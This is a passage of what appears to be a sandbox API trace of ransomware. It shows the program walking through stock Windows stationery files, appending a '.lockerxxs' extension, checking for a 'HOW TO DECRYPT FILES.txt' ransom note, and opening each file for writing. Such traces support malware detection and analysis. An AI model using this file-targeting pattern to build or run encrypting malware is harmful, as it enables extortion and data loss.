Shared\\Stationery\\OrangeCircles.jpg") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg" [0058.790] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg" [0058.790] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg" [0058.790] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg", lpString2="." | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg.") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg." [0058.790] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg.lockerxxs") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg.lockerxxs" [0058.790] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.790] FindNextFileA (in: hFindFile=0x4f81a0, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce34510c, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce34510c, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce109c99, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x4f8278, dwReserved1=0x0, cFileName="Peacock.htm", cAlternateFileName="")) returned 1 [0058.790] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.790] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Peacock.htm") returned -1 [0058.790] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Peacock.htm") returned -1 [0058.790] lstrcmpiA (lpString1="", lpString2="Peacock.htm") returned -1 [0058.790] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg") returned="OrangeCircles.jpg" [0058.790] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" [0058.790] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="" [0058.790] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" [0058.790] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\how to decrypt files.txt")) returned 0x20 [0058.790] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="Peacock.htm" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm" [0058.790] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm" [0058.790] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm" [0058.791] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm", lpString2="." | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm.") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm." [0058.791] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm.lockerxxs") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm.lockerxxs" [0058.791] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.792] FindNextFileA (in: hFindFile=0x4f81a0, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3913c6, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3913c6, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa51b2c9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0x4f8270, dwReserved1=0x0, cFileName="Peacock.jpg", cAlternateFileName="")) returned 1 [0058.792] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.792] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Peacock.jpg") returned -1 [0058.792] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Peacock.jpg") returned -1 [0058.792] lstrcmpiA (lpString1="", lpString2="Peacock.jpg") returned -1 [0058.792] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm") returned="Peacock.htm" [0058.792] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" [0058.792] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="" [0058.792] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" [0058.792] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\how to decrypt files.txt")) returned 0x20 [0058.792] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="Peacock.jpg" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg" [0058.792] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg" [0058.792] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg" [0058.792] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg", lpString2="." | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg.") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg." [0058.792] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg.lockerxxs") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg.lockerxxs" [0058.792] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.794] FindNextFileA (in: hFindFile=0x4f81a0, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4f0b40b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4f0b40b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44b55629, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf8d, dwReserved0=0x4f8270, dwReserved1=0x0, cFileName="Pine_Lumber.jpg", cAlternateFileName="")) returned 1 [0058.794] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.794] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Pine_Lumber.jpg") returned -1 [0058.794] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Pine_Lumber.jpg") returned -1 [0058.794] lstrcmpiA (lpString1="", lpString2="Pine_Lumber.jpg") returned -1 [0058.794] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg") returned="Peacock.jpg" [0058.794] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" [0058.794] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="" [0058.794] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" [0058.794] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\how to decrypt files.txt")) returned 0x20 [0058.794] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="Pine_Lumber.jpg" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg" [0058.794] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg" [0058.794] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg" [0058.794] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg", lpString2="." | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg.") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg." [0058.794] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg.lockerxxs") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg.lockerxxs" [0058.795] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pine_lumber.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.795] FindNextFileA (in: hFindFile=0x4f81a0, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4f31568, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4f31568, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44bc7a43, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0x4f8278, dwReserved1=0x0, cFileName="Pretty_Peacock.jpg", cAlternateFileName="")) returned 1 [0058.795] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.795] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Pretty_Peacock.jpg") returned -1 [0058.795] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Pretty_Peacock.jpg") returned -1 [0058.795] lstrcmpiA (lpString1="", lpString2="Pretty_Peacock.jpg") returned -1 [0058.795] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg") returned="Pine_Lumber.jpg" [0058.795] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" [0058.795] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="" [0058.795] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" [0058.795] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\how to decrypt files.txt")) returned 0x20 [0058.795] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="Pretty_Peacock.jpg" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg" [0058.795] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg" [0058.795] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg" [0058.795] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg", lpString2="." | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg.") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg." [0058.795] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg.lockerxxs") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg.lockerxxs" [0058.795] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pretty_peacock.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.796] FindNextFileA (in: hFindFile=0x4f81a0, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4f7d822, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4f7d822, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44bc7a43, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36e1, dwReserved0=0x4f8280, dwReserved1=0x0, cFileName="Psychedelic.jpg", cAlternateFileName="")) returned 1 [0058.796] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.796] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Psychedelic.jpg") returned -1 [0058.796] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Psychedelic.jpg") returned -1 [0058.796] lstrcmpiA (lpString1="", lpString2="Psychedelic.jpg") returned -1 [0058.796] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg") returned="Pretty_Peacock.jpg" [0058.796] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" [0058.796] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="" [0058.796] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" [0058.796] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\how to decrypt files.txt")) returned 0x20 [0058.796] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="Psychedelic.jpg" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg" [0058.796] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg" [0058.796] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg" [0058.796] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg", lpString2="." | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg.") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg." [0058.796] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg.lockerxxs") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg.lockerxxs" [0058.796] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\psychedelic.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.797] FindNextFileA (in: hFindFile=0x4f81a0, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3913c6, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3913c6, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce12fdf6, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x4f8278, dwReserved1=0x0, cFileName="Roses.htm", cAlternateFileName="")) returned 1 [0058.797] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.797] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Roses.htm") returned -1 [0058.797] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Roses.htm") returned -1 [0058.797] lstrcmpiA (lpString1="", lpString2="Roses.htm") returned -1 [0058.797] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg") returned="Psychedelic.jpg" [0058.797] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" [0058.797] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="" [0058.797] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" [0058.798] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\how to decrypt files.txt")) returned 0x20 [0058.798] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="Roses.htm" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm" [0058.798] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm" [0058.798] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm" [0058.798] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm", lpString2="." | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm.") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm." [0058.798] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm.lockerxxs") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm.lockerxxs" [0058.798] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.799] FindNextFileA (in: hFindFile=0x4f81a0, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3b7523, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3b7523, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa567585, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, 